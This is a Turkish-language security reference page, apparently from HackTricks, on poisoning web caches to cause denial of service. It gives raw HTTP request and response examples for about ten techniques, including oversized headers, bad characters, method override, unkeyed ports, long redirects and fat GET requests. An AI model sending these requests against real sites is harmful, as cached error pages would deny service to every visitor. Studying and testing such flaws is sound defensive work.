# Cache Poisoning to DoS {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] > Bu sayfada **cache sunucuları için geçerli olan** isteklere **hata ile yanıt veren web sunucusu** oluşturmak için farklı varyasyonlar bulabilirsiniz. - **HTTP Header Oversize (HHO)** Web sunucusu tarafından desteklenen boyuttan daha büyük ancak cache sunucusu tarafından desteklenen boyuttan daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek 400 yanıtı ile yanıt verecektir: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` - **HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler** Bazı **zararlı meta karakterler** içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği atlatmalısınız. ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` Kötü yapılandırılmış bir başlık sadece `\:` olarak bir başlık olabilir. Bu, beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen Content-Type: gibi. ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` - **Anahtarsız başlık** Bazı web siteleri, _X-Amz-Website-Location-Redirect: someThing_ başlığı gibi istekteki belirli başlıkları **gördüklerinde** bir hata durum kodu döndürecektir: ``` GET /app.js HTTP/2 Host: redacted.com X-Amz-Website-Location-Redirect: someThing HTTP/2 403 Forbidden Cache: hit Invalid Header ``` - **HTTP Yöntem Aşımı Saldırısı (HMO)** Eğer sunucu `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınır: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` - **Anahtarsız Port** Eğer Host başlığındaki port, yanıtta yansıtılıyorsa ve önbellek anahtarında yer almıyorsa, kullanılmayan bir porta yönlendirmek mümkündür: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` - **Uzun Yönlendirme DoS** Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaktır: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 301 Moved Permanently Location: /login/?x=veryLongUrl Cache: hit GET /login/?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` - **Host başlığı büyük/küçük harf normalizasyonu** Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harfle yazılmasını bekler ve eğer değilse bir hata döner: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com HTTP/1.1 404 Not Found Cache:miss Not Found ``` - **Yol normalizasyonu** Bazı sayfalar, yolda URLencode edilmiş veri gönderildiğinde hata kodları döndürecektir, ancak önbellek sunucusu yolu URLdecode edecek ve URLdecoded yol için yanıtı saklayacaktır: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com HTTP/1.1 404 Not Found Cach:miss Not Found ``` - **Fat Get** Bazı önbellek sunucuları, örneğin Cloudflare veya web sunucuları, gövdesi olan GET isteklerini durdurur, bu nedenle geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir: ``` GET /index.html HTTP/2 Host: redacted.com Content-Length: 3 xyz HTTP/2 403 Forbidden Cache: hit ``` ## Referanslar - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) {{#include ../../banners/hacktricks-training.md}}